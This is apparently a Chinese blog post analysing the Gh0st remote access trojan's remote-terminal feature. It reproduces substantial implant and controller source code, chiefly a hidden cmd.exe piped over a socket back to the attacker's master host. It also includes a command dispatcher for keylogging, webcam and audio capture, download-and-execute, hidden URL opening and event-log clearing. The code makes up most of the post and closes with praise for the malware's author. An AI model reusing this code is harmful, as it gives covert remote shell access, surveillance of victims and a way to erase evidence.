Ghost之远程终端管理

主要分析,客户端连接上主控端后,主控端主动要求进行终端管理后的一系列实现过程。


一、主控端发起远控申请指令COMMAND_SHELL

1、点击“终端管理”按钮后,主控端获取要进行远控的客户端(这里我习惯称为客户端,也有人称被控端为服务端)连接上来的套接字,然后向该客户端发送指令COMMAND_SHELL

二、客户端对收到的远控申请处理

1、客户端的工作线程WorkThread收到主控端的数据,调用OnRead进行对接收的数据解析,大约包括检测数据头“GHOST”、数据完整性检测和解压数据包,然后调用OnReceive函数(如下),根据数据的消息头进行相应的操作。

m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());

2、跟进m_pManager的OnReceive后,发现CManager的OnReceive函数,并没有进行实现。
以下是CManager中对于OnReceive的函数声明,可以看出该方法为一个虚函数,肯定是有类对该方法进行了重写。

virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);

3、回头想下m_pManager的赋值是在哪呢?
在MainDll中,有以下两句代码对m_pManager进行赋值,而CKernelManager继承于CManager,同时对OnReceive进行了重写。

CKernelManager  manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
socketClient.setManagerCallBack(&manager);

CKernelManager中对于OnReceive方法的重写源码如下:

void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    switch (lpBuffer[0])
    {
    case COMMAND_ACTIVED:
        InterlockedExchange((LONG *)&m_bIsActived, true);
        break;
    case COMMAND_LIST_DRIVE: // 文件管理
        m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, 
            (LPVOID)m_pClient->m_Socket, 0, NULL, false);
        break;
    case COMMAND_SCREEN_SPY: // 屏幕查看
        m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
            (LPVOID)m_pClient->m_Socket, 0, NULL, true);
        break;
    case COMMAND_WEBCAM: // 摄像头
        m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
            (LPVOID)m_pClient->m_Socket, 0, NULL);
        break;
    case COMMAND_AUDIO: // 摄像头
        m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
            (LPVOID)m_pClient->m_Socket, 0, NULL);
        break;
    case COMMAND_SHELL: // 远程sehll
        m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager, 
            (LPVOID)m_pClient->m_Socket, 0, NULL, true);
        break;
    case COMMAND_KEYBOARD: 
        m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
            (LPVOID)m_pClient->m_Socket, 0, NULL);
        break;
    case COMMAND_SYSTEM: 
        m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
            (LPVOID)m_pClient->m_Socket, 0, NULL);
        break;

    case COMMAND_DOWN_EXEC: // 下载者
        m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
            (LPVOID)(lpBuffer + 1), 0, NULL, true);
        Sleep(100); // 传递参数用
        break;
    case COMMAND_OPEN_URL_SHOW: // 显示打开网页
        OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
        break;
    case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页
        OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
        break;
    case COMMAND_REMOVE: // 卸载,
        UnInstallService();
        break;
    case COMMAND_CLEAN_EVENT: // 清除日志
        CleanEvent();
        break;
    case COMMAND_SESSION:
        CSystemManager::ShutdownWindows(lpBuffer[1]);
        break;
    case COMMAND_RENAME_REMARK: // 改备注
        SetHostID(m_strServiceName, (LPCTSTR)(lpBuffer + 1));
        break;
    case COMMAND_UPDATE_SERVER: // 更新服务端
        if (UpdateServer((char *)lpBuffer + 1))
            UnInstallService();
        break;
    case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包
        break;
    }   
}

4、接下来便是根据指令COMMAND_SHELL调用Loop_ShellManager线程,并将套接字作为线程参数传入。

DWORD WINAPI Loop_ShellManager(SOCKET sRemote)
{
    CClientSocket   socketClient;
    if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
        return -1;

    CShellManager   manager(&socketClient);

    socketClient.run_event_loop();

    return 0;
}

其实这里可以发现,我们传入的套接字并没有使用到。而是新创建了一个套接字,专门用于进行一系列的远程终端的数据收发操作。
其中的CShellManager类主要就是进行远程终端管理的相关操作实现,该类的构造函数实现了相关的管道初始化和线程的创建。

CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
{
    SECURITY_ATTRIBUTES  sa = {0};    
    STARTUPINFO          si = {0};
    PROCESS_INFORMATION  pi = {0}; 
    char  strShellPath[MAX_PATH] = {0};

    m_hReadPipeHandle   = NULL;
    m_hWritePipeHandle  = NULL;
    m_hReadPipeShell    = NULL;
    m_hWritePipeShell   = NULL;
    sa.nLength = sizeof(sa);
    sa.lpSecurityDescriptor = NULL; 
    sa.bInheritHandle = TRUE;

    //这里创建管道了  
    if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
    {
        if(m_hReadPipeHandle != NULL)   CloseHandle(m_hReadPipeHandle);
        if(m_hWritePipeShell != NULL)   CloseHandle(m_hWritePipeShell);
        return;
    }

    if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0)) 
    {
        if(m_hWritePipeHandle != NULL)  CloseHandle(m_hWritePipeHandle);
        if(m_hReadPipeShell != NULL)    CloseHandle(m_hReadPipeShell);
        return;
    }

    memset((void *)&si, 0, sizeof(si));
    memset((void *)&pi, 0, sizeof(pi));

    GetStartupInfo(&si);
    si.cb = sizeof(STARTUPINFO);
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.hStdInput  = m_hReadPipeShell;                           //将管道赋值
    si.hStdOutput = si.hStdError = m_hWritePipeShell; 

    GetSystemDirectory(strShellPath, MAX_PATH);
    strcat(strShellPath,"\\cmd.exe");
    //创建cmd进出  并指定管道
    if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE, 
        NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) 
    {
        CloseHandle(m_hReadPipeHandle);
        CloseHandle(m_hWritePipeHandle);
        CloseHandle(m_hReadPipeShell);
        CloseHandle(m_hWritePipeShell);
        return;
    }
    m_hProcessHandle = pi.hProcess;
    m_hThreadHandle = pi.hThread;

    //通知主控端 一切准备就绪
    BYTE    bToken = TOKEN_SHELL_START;       
    Send((LPBYTE)&bToken, 1);
    WaitForDialogOpen();
    //然后创建一个读取管道数据的 线程 
    m_hThreadRead = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
    //再创建一个等待的线程  等待管道关闭 也就是用户关闭终端管理
    m_hThreadMonitor = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorThread, (LPVOID)this, 0, NULL);
}

这里会发送一个指令TOKEN_SHELL_START,用于通知主控端这里已经准备就绪。

三、主控端收到客户端准备就绪指令TOKEN_SHELL_START

1、同样是解压数据包,然后调用主窗体类中的ProcessReceiveComplete方法,对接收到的数据包根据数据头进行相应处理

case TOKEN_SHELL_START:
    g_pPCRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
    break;

2、WM_OPENSHELLDIALOG是自定义的一个消息,主窗体收到该消息后:

ClientContext   *pContext = (ClientContext *)lParam;
//这里定义远程终端的对话框
CShellDlg   *dlg = new CShellDlg(this, m_iocpServer, pContext);

dlg->Create(IDD_SHELL, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);

pContext->m_Dialog[0] = SHELL_DLG;
pContext->m_Dialog[1] = (int)dlg;

主控端打开自己实现的用于远程终端控制的CShellDlg,该Dlg中实现了相关的远程终端操作。
窗体打开后,主控端会发送指令COMMAND_NEXT,客户端在WaitForDialogOpen()中收到该指令后,创建ReadPipeThread线程,用于对于远程终端操作的客户端实现(管道)。

四、主控端与客户端的交互

接下来便是,主控端与客户端的交互。客户端根据主控端的Shell指令进行相应的操作。
1、主控端对客户端数据到来的处理流程
最先是IOCP模型收到数据包,然后进行分发给主控端的消息处理,主控端将完整收到的数据包后调用ProcessReceiveComplete进行消息分发,在ProcessReceiveComplete中判断该套接字是否与窗口关联(部分源码如下),然后判断该窗口是否为远程终端管理窗口

if (pContext->m_Dialog[0] > 0)
{
    switch (pContext->m_Dialog[0])
    {
    ...
    case SHELL_DLG:
        ((CShellDlg *)dlg)->OnReceiveComplete();
        break;
    ...
    }
}

然后调用CShellDlg中的OnReceiveComplete,进行将收到的数据显示出来的功能,这样就完成了对客户端发来的数据进行的处理。

void CShellDlg::OnReceiveComplete(void)
{
    AddKeyBoardData();
    m_nReceiveLength = m_edit.GetWindowTextLength();
}

2、主控端对客户端发送Shell指令流程
解析出写的Shell指令后,直接通过套接字发送即可

BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
{
    //如果是键盘按下
    if (pMsg->message == WM_KEYDOWN)
    {
        // 屏蔽VK_ESCAPE、VK_DELETE
        if (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE)
            return true;
        //如果是可编辑框的回车键
        if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_edit.m_hWnd)
        {
            //得到窗口的数据大小
            int len = m_edit.GetWindowTextLength();
            CString str;
            //得到窗口的字符数据
            m_edit.GetWindowText(str);
            //加入换行符
            str += "\r\n";

            m_iocpServer->Send(m_pContext, (LPBYTE)str.GetBuffer(0) + m_nCurSel, str.GetLength() - m_nCurSel);
            m_nCurSel = m_edit.GetWindowTextLength();
        }
        // 限制VK_BACK
        if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_edit.m_hWnd)
        {
            if (m_edit.GetWindowTextLength() <= m_nReceiveLength)
                return true;
        }
    }
    // Ctrl没按下
    if (pMsg->message == WM_CHAR && GetKeyState(VK_CONTROL) >= 0)
    {
        int len = m_edit.GetWindowTextLength();
        m_edit.SetSel(len, len);
        // 用户删除了部分内容,改变m_nCurSel
        if (len < m_nCurSel)
            m_nCurSel = len;
    }

    return CDialog::PreTranslateMessage(pMsg);
}

3、客户端对主控端发来的Shell指令的处理流程
客户端收到主控端的数据后,调用OnReceive函数,将主控端发送来的数据写入到cmd的输入管道中

void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)      //判断是否为通知主控端对话框打开
    {
        NotifyDialogIsOpen();
        return;
    }

    unsigned long   ByteWrite;
    WriteFile(m_hWritePipeHandle, lpBuffer, nSize, &ByteWrite, NULL);
}

数据写入到输入管道中后,ReadPipeThread线程读取到管道数据,然后发送给主控端。

DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
{
    unsigned long   BytesRead = 0;
    char    ReadBuff[1024];
    DWORD   TotalBytesAvail;
    CShellManager *pThis = (CShellManager *)lparam;
    while (1)
    {
        Sleep(100);
        while (PeekNamedPipe(pThis->m_hReadPipeHandle, ReadBuff, sizeof(ReadBuff), &BytesRead, &TotalBytesAvail, NULL)) 
        {
            //如果没有数据就跳出本本次循环
            if (BytesRead <= 0)
                break;
            memset(ReadBuff, 0, sizeof(ReadBuff));
            LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail);
            //读取管道数据
            ReadFile(pThis->m_hReadPipeHandle, lpBuffer, TotalBytesAvail, &BytesRead, NULL);
            // 发送数据
            pThis->Send(lpBuffer, BytesRead);
            LocalFree(lpBuffer);
        }
    }
    return 0;
}

致敬Ghost作者。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值